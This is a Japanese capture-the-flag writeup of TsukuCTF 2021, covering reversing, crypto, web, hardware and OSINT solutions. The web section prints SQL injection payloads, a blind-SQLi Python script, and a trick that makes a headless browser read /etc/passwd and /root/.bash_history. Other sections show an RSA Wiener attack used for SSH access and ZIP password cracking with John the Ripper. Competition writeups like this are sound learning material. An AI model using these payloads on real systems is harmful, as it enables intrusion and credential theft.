st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

TsukuCTF 2021 writeup

9/11 - 9/12という日程で開催された。ひとりチーム( 'ᾥ' )の🐜として参加して、全完し1位だった。同じくひとりチームの_(:3」∠)_として出たOpen xINT CTF 2020に引き続き、OSINTがメインの大会で優勝できて嬉しい。


Tsukushi

[Tsukushi 100] Welcome (154 solves)

問題文にあるとおり、公式Twitterアカウントの名前を見るだけ。

TsukuCTF{2021}

Rev

[Rev 484] Legacy code (7 solves)

i286のアセンブリが与えられる。読んでいくと、まず最初に変数の初期化をしているらしき箇所がある。

main:
    enterw   $24-2,    $0
    movw $9,    -2(%bp)
    movw $0,    -6(%bp)
    movw $0,    -4(%bp)
    movw $0x28A4, -10(%bp)
    movw $0x4448, -8(%bp)
    movw $0xE148, -14(%bp)
    movw $0x3EBA, -12(%bp)

続いて浮動小数点数の演算。-10(%bp)-14(%bp) を読み込んで加算し、-6(%bp) に格納している。

 .arch pentium
    finit
    fld  -10(%bp)
    fld  -14(%bp)
    faddp    %st(0), %st(1)
    fstp -6(%bp)
    fwait
    .arch i286

演算の結果を printf で出力している。

 movw -6(%bp),    %ax
    movw -4(%bp),    %dx
    leaw -22(%bp),   %cx
    pushw    %dx
    pushw    %ax
    pushw    %cx
    pushw    %ss
    popw %ds
    call __extendsfdf2
    addw $6,    %sp
    movw -22(%bp),   %cx
    movw -20(%bp),   %ax
    movw -18(%bp),   %dx
    movw -16(%bp),   %bx
    pushw    %bx
    pushw    %dx
    pushw    %ax
    pushw    %cx
    pushw    -2(%bp)
    pushw    $.LC0
    pushw    %ss
    popw %ds
    call printf

Cで同じようなことをするコードを書き、実行するとフラグが得られる。

#include <stdio.h>
int main(void) {
  char s[100] = {
    0x48, 0xe1, 0xba, 0x3e,
    0xa4, 0x28, 0x48, 0x44,
    0x00, 0x00, 0x00, 0x00,
    0x09, 0x00
  };
  float x = *(float *)(s) + *(float *)(s + 4);
  printf("PC%d%.0f\n", *(int *)(s + 12), x);
  return 0;
}
$ gcc -o a a.c && ./a
PC9801
TsukuCTF{PC9801}

Network

[Network 464] genesis (10 solves)

ぶろっくちぇーんえくすぷろーらーなるよくわからんWebアプリケーションのURLを渡される。APIの使い方が書かれているページを眺めていると、"メッセージはトランザクション(tx)に埋め込まれています" というヒントで言及されているトランザクションを取得できるらしいAPIがあることがわかった。

f:id:st98:20210912055058p:plain

とりあえず前者の /api/getrawtransaction?txid=f44d8ca0b6e787c2193297aec523d685bc0ab5a38eca5a0b014c5a679507b13e&decrypt=0 にアクセスしてみると、以下のようなデータが返ってきた。

01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff2804ffff001d0104205473756b754354467b323032315f30395f31315f47454e455349535f544b437dffffffff0100f2052a01000000434104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000

5473756b754354467b323032315f30395f31315f47454e455349535f544b437d がめっちゃASCIIの文字列っぽいのでデコードしてみるとフラグが得られた。

TsukuCTF{2021_09_11_GENESIS_TKC}

Crypto

[Crypto 436] CrackSSH! (13 solves)

ssh-rsa AAAA… というような形式の公開鍵が渡される。 適当にググるこれがどのような構造を持っているか紹介している記事が見つかるので、それを参考にしつつ ne を取り出す。

n = 0x201f98fba8e6f71bcd89b9d92c8a00bc856fd467e56e34390282a9e76c8fabede746bd4dd5a6a55e11d5d695dcc1ad72adaf35f83143b2ee1b7693c2edfdb9a4bae205929a48d4fb2b4fac45074fe748816988ec1760b283c1e3a1e19a5d5921ddb3b0d95d96c14b14e2a12bf538cf6ccceb082c6414340f9f03b09a259033c19

e = 0x16280d61623baf8718b00862ac1be9db2e3fe2632ea947092491aeb827a2fe54b3e9e0adc95524441339b3b405b18e48463a57a8977bf30d1a91d89fb89d254e23d1612728817528040a65c96288c6552539e9b08c75ccac124298573e5ed3ec50023643ae8b699be153d1501dc1d5ae64cebccd963c0c4f47daea3d75a1c27ff

e がやたらデカいのでWiener's Attackっぽいorisano/owienerで殴るとd23740595481413555083001316385586537295798010164154043863363374388086679976575 とわかる。ius/rsatoolでPEM形式の秘密鍵を作ってSSHサーバに接続するとフラグが得られた。

$ ssh tsukushi@… -p 30022 -i private.pem 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.11.0-34-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Sep 11 06:22:16 2021 from …
$ ls
flag.txt
$ cat flag.txt
TsukuCTF{D0nt_use_w34k_RS4_key_generat10n}

Misc

[Misc 100] TORItsukushi (90 solves)

たぬき。TSUKUSHI が含まれている限り削除し続けるスクリプトを書く。

with open('many_tsukushi.txt', 'r') as f:
  s = f.read()

while 'TSUKUSHI' in s:
  s = s.replace('TSUKUSHI', '')

print(s)
TsukuCTF{Would_you_like_some_fresh-baked_Tsukushi?}

[Misc 100] Customization (98 solves)

GoogleスプレッドシートのURLが与えられる。真ん中の何も書かれていないように見えるセルにフラグが書かれていた。

f:id:st98:20210912060353p:plain

TsukuCTF{yak1n1ku_ta6eta1}

[Misc 244] discriminate (25 solves)

GPT-2から文章を生成したので、与えられた文章のうちどこからどこまでが元の文章か特定してくれという問題。与えられた文章の一部の「握るだけで解錠できるスマートドアハンドルを開発した」でググると、元の文章が含まれているポスターがヒットする。与えられた文章と元の文章を比較すればよい。

TsukuCTF{パターンを}

Hardware

[Hardware 100] CAD (82 solves)

STLファイルが与えられる。"STL viewer online" みたいな感じでググって出てきたビュアーに投げると読める。

f:id:st98:20210912060822p:plain

TsukuCTF{ILIK3B3ar}

[Hardware 100] Ltika (49 solves)

ino という拡張子のファイルが与えられる。内容はこんな感じ:

void setup() {
  // initialize digital pin LED_BUILTIN as an output.
  pinMode(LED_BUILTIN, OUTPUT);
}

void blinking(){
  digitalWrite(LED_BUILTIN, HIGH);   
  delay(500);
  digitalWrite(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
  delay(300);                       // wait for a second  
}
void lit(){
  digitalWrite(LED_BUILTIN, HIGH);   // turn the LED on (HIGH is the voltage level)
  delay(2000);                       // wait for a second
  digitalWrite(LED_BUILTIN, LOW);    // turn the LED off by making the voltage LOW
  delay(300);                       // wait for a second  
}

void wait(){
  digitalWrite(LED_BUILTIN, LOW);
  delay(1200); 
}
// the loop function runs over and over again forever
void loop() {
  blinking();
  wait();

  lit();
  blinking();
  wait();
  
  blinking();
  lit();
  lit();
  lit();
  wait();

//…

  delay(3000);
}

どう見てもモールス信号。適当に普通のモールス信号に変換するスクリプトを書く。

s = '''  blinking();
  wait();

  lit();
  wait();'''

s = s.replace('\n', '').replace(' ', '').split(';')
print(''.join({
  'blinking()': '.',
  'lit()': '-',
  'wait()': ' ',
  '': ''
}[c] for c in s))

デコードするとフラグが得られた。

TsukuCTF{ENJ0YHARDWARE!}

[Hardware 152] PCB (29 solves)

gtlgm1gbl といった拡張子のファイルが含まれるZIPファイルが与えられる。ZIPファイルの名前には GerBer が含まれている。"Gerber viewer online" でググって出てきたビュアーに投げると読める。

f:id:st98:20210912061116p:plain

これははくちょう座。英語名にするとフラグが得られた。

TsukuCTF{CYGNUS}

Web

[Web 100] digits (63 solves)

以下のようなコードが与えられている。

@app.get("/")
def main(q: Optional[str] = None):
    if q == None:
        return {
            "msg": "please input param 'q' (0000000000~9999999999).  example: /?q=1234567890"
        }
    if len(q) != 10:
        return {"msg": "invalid query"}
    if "-" in q or "+" in q:
        return {"msg": "invalid query"}
    try:
        if not type(int(q)) is int:
            return {"msg": "invalid query"}
    except:
        return {"msg": "invalid query"}

    you_are_lucky = 0

    for _ in range(100):
        idx = random.randrange(4)
        if q[idx] < "0":
            you_are_lucky += 1
        if q[idx] > "9":
            you_are_lucky += 1

    if you_are_lucky > 0:
        return {"flag": FLAG}
    else:
        return {"msg": "Sorry... You're unlucky."}

type(int(q)) はスペースで埋めることで回避できる。/digits?q=%20%20%20%20%20%20%20%20%201 でフラグが得られた。

TsukuCTF{you_are_lucky_Tsukushi}

[Web 100] Login (79 solves)

ログインフォームが与えられる。ログインといえばSQLiなので、パスワードに ' or 1;# を入力してみるとフラグが得られた。

TsukuCTF{You_4r3_SUP3R_H4CKER}

[Web 323] Login 2 (21 solves)

ログインフォームが与えられる。Loginに修正が入り、ただログインするだけではフラグが得られなくなった。ただ、ログインしたユーザ名は表示してくれるので、UNION 句で別のテーブルのデータを引っ張ってこれる。' union select @@version, 2;#8.0.26 としてログインできた。8.0.26ググるMySQLのバージョンであることがわかる。

MySQLでは information_schema.tables というテーブルからテーブルに関するデータが取得できる。' union select table_name, 2 from information_schema.tables;#super_secret_tableuser_table というテーブルがあることがわかった。

続いて information_schema.columns というテーブルを使って、' union select column_name, 2 from information_schema.columns where table_name='super_secret_table';#super_secret_table テーブルには idsecret というカラムがあることがわかった。あとは super_secret_table からデータを取り出すだけ。' union select secret, 2 from super_secret_table;# でフラグが得られた。

TsukuCTF{50_muCh_GR3AT_Hacker_!ND3ED}

[Web 472] Login 3 (9 solves)

ログインフォームが与えられる。Login 2に修正が入り、今度はログインの成否だけしか情報が与えられなくなった。ただ、この「ログインの成否」から1ビットずつ情報を得るBlind SQLiはまだ有効だ。Pythonスクリプトを書く。

import requests

def query(q):
  r = requests.post('https://tsukuctf.sechack365.com/problems/login3/login.php', data={
    'username': 'hoge',
    'password': q
  })
  return 'ようこそ' in r.text

i = 1
res = ''
while True:
  c = 0
  for j in range(7):
    if query(f"' or ord(substr(version(), {i}, 1)) & {1 << j};#"):
      c |= 1 << j
  res += chr(c)
  print(i, res)
  i += 1

あとはLogin 2と同じ手順でテーブル名とカラム名を抜き出し、得られた秘密のテーブルからフラグが得られた。

TsukuCTF{U_Are_Geni0us_T$UKUSH1}

[Web 100] logonly (31 solves)

アクセスログが与えられている、が214153行の XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:00] "POST / HTTP/1.1" 401 - というログの後に XXX.XXX.XXX.XXX - - [11/Sep/2021 12:00:01] "POST / HTTP/1.1" 200 - とログインに成功したであろうログがある以外には情報はない。

問題文によれば「Kali Linuxの中のツールとファイルを使ったらrootで簡単にログインできた」らしい。インストールされている辞書で辞書攻撃でもしたのだろうか。rockyou.txt の214154行目は qwertyuiop[]\\ だ。これを提出すると正解だった。

TsukuCTF{qwertyuiop[]\\}

[Web 372] Journey (18 solves)

与えられたURLにアクセスすると、複数回のリダイレクトの後に /problems/journey/goal に飛ばされたが、"Did you check your status?" と怒られてしまった。"status" とはHTTPステータスコードのことだろうか。見てみると、"405 Method Not Allowed" が返ってきていた。

GET以外のメソッドならどうだろう。OPTIONS を試してみると、以下の9種類のメソッドを受け付けているらしいとわかった。

$ curl -i https://tsukuctf.sechack365.com/problems/journey/goal -X OPTIONS
HTTP/1.1 204 No Content
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:19:50 GMT
Connection: keep-alive
Allow: OPTIONS, GET, HEAD, POST, PUT, DELETE, CONNECT, TRACE, PATCH

片っ端から試していると、CONNECT のときに以下のようなメッセージが表示された。リファラがダメらしい。

$ curl -i https://tsukuctf.sechack365.com/problems/journey/goal -X CONNECT
HTTP/1.1 405 Method Not Allowed
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:20:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 154
Connection: keep-alive

<head><meta http-equiv='refresh' content=' 5; url=/'></head><body><h1>Where are you from?</h1><p>I think you have come from fraudulent referer.</p></body>

リファラにそれっぽいURLを入れてやるとフラグが得られた。

$ curl -i https://tsukuctf.sechack365.com/problems/journey/goal -X CONNECT -H "Referer: https://tsukuctf.sechack365.com/problems/journey/railway/1"
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 11 Sep 2021 09:21:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 40
Connection: keep-alive

<h1>TsukuCTF{H0w_wa5_y0ur_j0urney?}</h1>
TsukuCTF{H0w_wa5_y0ur_j0urney?}

[Web 495] gyOTAKU (4 solves)

以下のようなソースコードが与えられた。URLを与えると requests によってそのコンテンツが取得され、(ランダムに生成された文字列).html というファイルにそれを保存した上でChromiumで開き、スクリーンショットを保存する。二度手間ではないか。

import io
import os
import random
import string
import requests
import subprocess
from flask import Flask, render_template, request, send_file

app = Flask(__name__)

def sanitize(text):
    #RCE is a non-assumed solution. <- This is not a hint.
    url = ""
    for i in text:
        if i in string.digits + string.ascii_lowercase + string.ascii_uppercase + "./_:":
            url += i
    if (url[0:7]!="http://") and (url[0:8]!="https://"):
        url = "https://www.google.com"
    return url

@app.route("/")
def gyotaku():
    filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(15)])
    url = request.args.get("url")
    if not url:
        return "<font size=6>🐟gyOTAKU🐟</font><br><br>You can get gyotaku: <strong>?url={URL}</strong><br>Sorry, we do not yet support other files in the acquired site."
    url = sanitize(url)
    html = open(f"{filename}.html", "w")
    try:
        html.write(requests.get(url, timeout=1).text + "<br><font size=7>gyotakued by gyOTAKU</font>")
    except:
        html.write("Requests error<br><font size=7>gyotakued by gyOTAKU</font>")
    html.close()
    cmd = f"chromium-browser --no-sandbox --headless --disable-gpu --screenshot='./gyotaku-{filename}.png' --window-size=1280,1080 '{filename}.html'"
    subprocess.run(cmd, shell=True, timeout=1)
    os.remove(f"{filename}.html")
    png = open(f"gyotaku-{filename}.png", "rb")
    screenshot = io.BytesIO(png.read())
    png.close()
    os.remove(f"gyotaku-{filename}.png")
    return send_file(screenshot, mimetype='image/png')

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=9000)

問題文によれば、このスクリプトを実行しているユーザは root であり、またフラグはローカルに存在しているらしい。フラグのファイル名は乱数を生成して決めたそうだから、まずはその名前を特定する必要がある。

location.href = "file:///" のようなJavaScriptコードを実行させて file:/// などにリダイレクトさせればファイルの一覧が得られるのではないかとまず考えたが、なぜかChromiumは真っ白なページを返してしまう。では特定のファイルならばどうかと location.href = "/etc/passwd" を試したところ、その内容が表示された。

他に見るべきファイルがあるか悩んでいたが、もしかしたら root のホームディレクトリに何かあるかもしれないと思いついた。試しに /root/.bash_history を読んでみるとビンゴ、フラグのファイル名がわかった。

f:id:st98:20210912064057p:plain

これを読むとフラグが得られた。

f:id:st98:20210912064101p:plain

TsukuCTF{Tsukushi_to_Sugina_no_chigai_ga_wakaran}

OSINT

[OSINT 100] ramen (93 solves)

ラーメンの画像が与えられるので、そのラーメン店の本店のInstagramのIDを特定する問題。Yandexで画像検索すると銀座篝がヒットした。

TsukuCTF{kagari_honten}

[OSINT 100] shop (83 solves)

イオンモールを外から撮影したと思われる動画が与えられる。トヨタカローラの店舗があること、また湖もしくは海の近くに立地していることがわかる。"イオンモール トヨタカローラ" でググってみるとイオンモール幕張新都心イオンモール草津店、イオンモール大和などの店舗がヒットした。動画と外観や立地が一致しているのはイオンモール草津店だ。

TsukuCTF{イオンモール草津}

[OSINT 100] train (84 solves)

駅構内の写真が与えられる。5番線が山手線、6番線が京浜東北線という情報がまず目に入る。問題文からリンクされている東京近郊路線図を見ると山手線と京浜東北線が並走している区間は田端~品川であるとわかる。この間の駅で5番線が山手線、6番線が京浜東北線であるのは新橋駅だ。

TsukuCTF{Shimbashi}

[OSINT 100] YUGEN (47 solves)

SLが走る様子を撮影した動画が与えられるので、撮影された駅を答えよという問題。SLの側面に「SL人吉」と書かれており、これで路線がある程度絞れる。前面に「無限」と書かれたプレートが付けられているが、これは「SL無限列車」だろう。SLはしばらく高架下を走っているが、後にSLが走る線路と高架は分かれていく。さらに、動画ファイルには2020年11月3日13時44分に撮影されたという情報が残っている:

f:id:st98:20210912070638p:plain

動画が撮影された時間帯にこのSLがどこを走っていたか特定していく。まずJR九州リリースを確認すると、この日の運行区間は熊本→博多であることがわかる。熊本発8:35~博多着13:04らしく、撮影地は博多駅からそう離れてはいないだろうとわかる。Twitterでもなにか情報が得られないか "until:2020-11-03_14:00:00_JST SL lang:ja" で探すと、まさに目撃された駅と時刻が書かれたツイートが見つかった。竹下駅をGoogleマップで確認してみると、たしかに線路が高架下を通り、後に高架と分かれていく。また、動画で正面に見えていた特徴的な黄色の建物も見える。ここだ。

TsukuCTF{Takeshita}

[OSINT 100] Beach (80 solves)

おそらく海岸で撮影された2枚の写真から最寄り駅を特定しろという問題。Bingで画像検索すると大変よく似た構図の写真を含むページが出てきた。「オフィスの目の前には海が広がる」というキャプションが付いており、またそのオフィスの住所も書かれている。その最寄り駅は茅ヶ崎駅だ。

TsukuCTF{Chigasaki}

[OSINT 100] tram (43 solves)

海外で撮影された写真の撮影地を答えろという問題。写真と問題名からまずトラムの駅だとわかる。写真の左側に「ČSOB」と書かれているが、これでググるチェコスロバキア貿易銀行の建物だとわかる。チェコもしくはスロバキアのトラムだろうか。

Wikipediaチェコスロバキアにあった、または現在チェコかスロバキアにある路面電車の一覧がある。まあ、プラハブラチスラヴァだろう。トラムの前面には「5」と表示されている。Wikipediaによれば、ブラチスラヴァ市電には5番系統がないがプラハ市電にはあるらしい。プラハ市電の5番系統を総当たりしていこう。WikiRoutesなるサイトNAVITIME Transitでトラムの駅を参照しつつ、Googleマップで「ČSOB」と調べて駅の近くにあるものがないか探していく。「Anděl」という駅がピッタリだった。

TsukuCTF{Anděl}

[OSINT 100] Tsukushi_no_email1 (44 solves)

TsukuCTFのメールアドレスのアイコンにフラグがあるので、それを見つけろという問題。ルールページtsukuctf@gmail.comGmailのメールアドレスが書かれている。Gmailのメールボックスでそのメールアドレスを検索するとアイコンが出てきた

TsukuCTF{Google_kingdom}

[OSINT 100] Tsukushi_no_email2 (40 solves)

Tsukushi_no_email1で得られたメールアドレスをヒントに予定表を手に入れろという問題。Gmailを使っているということは、おそらくその予定表というのはGoogleカレンダーのことを指しているのだろう。カレンダーの埋め込み用のURLをいじって、https://calendar.google.com/calendar/embed?height=600&wkst=1&bgcolor=%23FFFFFF&color=%232952A3&color=%23711616&src=tsukuctf@gmail.com&color=%231B887A&ctz=Asia/Tokyo で予定表が見られた。9/11の12:00の予定にフラグが書かれていた。

TsukuCTF{Horsetail_is_delicious}

[OSINT 100] cafe (37 solves)

@7aru7aruさんという方がハマっているメイドカフェを特定する問題。まず "from:7aru7aru メイド" で検索してみるも、特定のメイドカフェに関する言及は見つからない。なにか有益な画像はないかメディア欄を開いてみるが、YouTubeの動画へのリンクばかりで肝心の画像が埋もれてしまっている。"from:7aru7aru filter:images" で画像に絞ってツイートを眺めていくと、大変それっぽい画像が見つかった。

メイドさんのポケットには「No.1メイドカフェグループ」と書かれており、これをググるめいどりーみんというメイドカフェがヒットする。全国展開しているメイドカフェなので、先ほどの写真がどの店舗で撮影されたか特定しなければならない。店舗情報を見ていくと、幸いなことに店舗ごとに内装が大きく異なっていることがわかる。秋葉原 中央通り店の内装がまさにそれだった。

TsukuCTF{https://maidreamin.com/shop/detail.html?id=5}

[OSINT 100] train2 (60 solves)

駅のプラットフォームで撮られた写真から撮影地を特定しろという問題。画像中央やや右にある柱をよく見ると「出町柳9号」と書かれている。「出町柳9号」でググるとこれは叡山電車出町柳元田中間(というか元田中駅)にある踏切を指すとわかる。

TsukuCTF{元田中}

[OSINT 100] fishing (77 solves)

写真の撮影地を特定しろという問題。目の前に特徴的な橋が写っており、Bingで検索すると東京ゲートブリッジとわかる。"東京ゲートブリッジ 釣り場" で検索すると若洲海浜公園とわかる。

TsukuCTF{若洲海浜公園}

[OSINT 100] dam (55 solves)

貯水湖で撮られた写真から撮影地を特定しろという問題。よく見ると画像中央やや右に特徴的な橋が見える。

f:id:st98:20210912073518p:plain

"貯水湖 橋" で画像検索すると南河内橋がヒットした。この橋が架かっているのは河内貯水池だ。

TsukuCTF{河内貯水池}

[OSINT 285] park (23 solves)

写真の撮影地を特定しろという問題。かなりの都会っぽい。特徴的な建物がないか探していく。まず画像の右側に、かなり小さいがスーパーマーケットのロゴらしきものが見える。拡大してBingで検索すると「サンリブ」という名前でよく似たロゴを持ったスーパーマーケットの写真がヒットした。ググると、どうやら「マルショク」というスーパーマーケットもよく似たロゴらしい。どちらもサンリブグループのスーパーマーケットで、店舗情報を見ると広島、山口、福岡、佐賀、大分、熊本、宮崎に展開していることがわかる。

f:id:st98:20210912074046p:plain

写真の左側にはなにやら明るく光っているものが見える。スタジアムや球場だろうか。

f:id:st98:20210912074316p:plain

スタジアムらしきもののさらに左には新幹線が見える。新幹線の沿線となるとかなり絞り込めるはずだ。

f:id:st98:20210912074435p:plain

サンリブグループのスーパーマーケットのやや左奥をよく見ると、ゴルフの打ちっ放しの練習場らしきものの後ろ側に、山の中にあるらしい白い何かと斜面が見える。雑に「(県名) 山 白い」にサンリブグループの展開する県名を入れてググっていくと、どうやらこれは広島の二葉山にある平和塔(仏舎利塔)らしいとわかる。

f:id:st98:20210912074533p:plain

写真の撮影地が広島であることがわかったので、Googleマップを使って特徴的な建造物の名前を特定していく。画像中央の特徴的な高層ビルは左からシティタワー広島、グランクロスタワー広島だろう。さっきのスタジアムはマツダスタジアムだ。

f:id:st98:20210912075137p:plain

手前に見える学校らしきものは府中町立府中中学校だろう。

f:id:st98:20210912075443p:plain

最後に、ここまで特定した建物が写真のように写る場所を探す。一番手前に見える以下の特徴的な建物を目印に探すと、撮影地は瀬戸ハイム第一児童遊園地だとわかった。

f:id:st98:20210912075515p:plain

TsukuCTF{瀬戸ハイム第一児童遊園地}

[OSINT 323] OBOG (21 solves)

SecHack365非公式サイトが改ざんされたので、その改ざんされた内容を探せという問題。"SecHack365非公式サイト" で検索するとそれっぽいWebサイトがヒットする。DevToolsを開きつつコンテンツを片っ端から見ていると、/timer/ でコンソールに Please decode! → VHN1a3VDVEZ7aHR0cHM6Ly9zZWNoYWNrMzY1Lm5pY3QuZ28uanB9 と出力された。これをBase64デコードするとフラグが得られた。

TsukuCTF{https://sechack365.nict.go.jp}

[OSINT 340] InterPlanetary Protocol (20 solves)

問題文によると、以下の3つの文字列はすべて「特殊なウェブサイトのURL」らしい。59文字だからTorのV3アドレスにしては3文字多いしなんだろう、と思っていたところで問題名に「InterPlanetary」が含まれていることに気づく。InterPlanetary File System(IPFS)だ。

  • bafybeieozcigchzmmpjzlct5eti4xhqexjnolpuehsnk2ckeaiqfqfqilu
  • bafybeifvtvmitvebs6ktbaqqhort2h76xfen4zj65bujq7xos2zzxdvwga
  • bafybeidtzxolknnds6k2ny6s6rgvbm7t7gopwyfgvyblfjdw6m6og2vsxm

docker run --rm -d ipfs/go-ipfs して docker exec -it … sh でこれらのファイルを表示する。

/ # ipfs cat bafybeieozcigchzmmpjzlct5eti4xhqexjnolpuehsnk2ckeaiqfqfqilu
TsukuCTF{IPFS_
/ # ipfs cat bafybeifvtvmitvebs6ktbaqqhort2h76xfen4zj65bujq7xos2zzxdvwga
_is_the_
/ # ipfs cat bafybeidtzxolknnds6k2ny6s6rgvbm7t7gopwyfgvyblfjdw6m6og2vsxm
future}

フラグが得られた。

TsukuCTF{IPFS_is_the_future}

[OSINT 372] WildTsukushis (18 solves)

黄色い恐竜とつくしの生えた山の遊具が写った写真が与えられるので、撮影地を答えろという問題。GoogleやBingでそのまま画像検索するも見つからない。Googleレンズでつくしの遊具を切り取って検索するとそれっぽい写真を含んだ記事が見つかる。

TsukuCTF{御浜海水浴場}

[OSINT 372] uiui (18 solves)

パスワード付きZIPが与えられる。このZIPは「一般に決められた方法で検体を送ってもら」ったということだが、PPAPのことだろう。John the Ripperでクラックできた。

$ zip2john Virus.zip > Virus.john
ver 2.0 efh 5455 efh 7875 Virus.zip/Virus PKZIP Encr: 2b chk, TS_chk, cmplen=2511, decmplen=16696, crc=ED9F71AA
$ john Virus.john --wordlist=/usr/share/dict/words
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Warning: OpenMP is disabled; a non-OpenMP build may be faster
Press 'q' or Ctrl-C to abort, almost any other key for status
infected         (Virus.zip/Virus)
1g 0:00:00:00 DONE (2021-09-11 09:42) 50.00g/s 2825Kp/s 2825Kc/s 2825KC/s infarction..infields
Use the "--show" option to display all of the cracked passwords reliably
Session completed

展開されたファイルはただのELFだが、これはどういうことだろうか。問題文には「解析にあたってマズイことをしてしまいました」「彼は感染したことをほかの人に知られたくないようです」とある。何も考えずにVirusTotalなどに投げてしまったということだろうか。

VirusTotalでこのELFのハッシュ値を検索するとヒットした。ファイル名にフラグが書かれている。

TsukuCTF{Careless_uploading_is_dangerous}

[OSINT 464] udon (10 solves)

カレーうどんの写真が与えられるので、撮影された店舗を答える問題。Googleレンズで検索すると「えん家」が見つかる。

TsukuCTF{@sanukiudonenya}